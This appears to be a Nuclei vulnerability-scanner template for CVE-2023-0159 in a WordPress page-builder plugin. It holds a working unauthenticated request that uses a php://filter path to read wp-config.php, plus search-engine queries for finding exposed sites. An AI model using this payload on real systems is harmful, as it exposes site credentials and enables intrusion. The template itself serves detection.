52 lines
2.1 KiB
YAML
52 lines
2.1 KiB
YAML
id: CVE-2023-0159
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info:
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name: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
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author: c4sper0
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severity: high
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description: |
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The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system. This may be escalated to RCE using PHP filter chains.
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remediation: Fixed in 1.9.1
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reference: |-
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- https://wpscan.com/vulnerability/239ea870-66e5-4754-952e-74d4dd60b809/
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- https://github.com/im-hanzou/EVCer
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- https://github.com/nomi-sec/PoC-in-GitHub
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- https://github.com/xu-xiang/awesome-security-vul-llm
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- https://wordpress.org/plugins/extensive-vc-addon/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2023-0159
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epss-score: 0.01059
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epss-percentile: 0.84061
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cpe: cpe:2.3:a:wprealize:extensive_vc_addons_for_wpbakery_page_builder:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 1
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vendor: wprealize
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product: "extensive_vc_addons_for_wpbakery_page_builder"
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framework: wordpress
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shodan-query: "http.html:/wp-content/plugins/extensive-vc-addon/"
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fofa-query: "body=/wp-content/plugins/extensive-vc-addon/"
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publicwww-query: "/wp-content/plugins/extensive-vc-addon/"
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tags: cve,cve2023,wordpress,wpbakery,wp-plugin,lfi,extensive-vc-addon,wprealize
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/2
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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action=extensive_vc_init_shortcode_pagination&options[template]=php://filter/convert.base64-encode/resource=../wp-config.php
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '{"status":"success","message":"Items are loaded","data":'
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100d24028d90f855321d541394c206888ac3de32ddc95fd192f2cea84c3ce106573022100b06dfd2c7fe33e022d5bc25a563682c01a13c1ca7e839fe8ebbf28f79406baa1:922c64590222798bb761d5b6d8e72950 |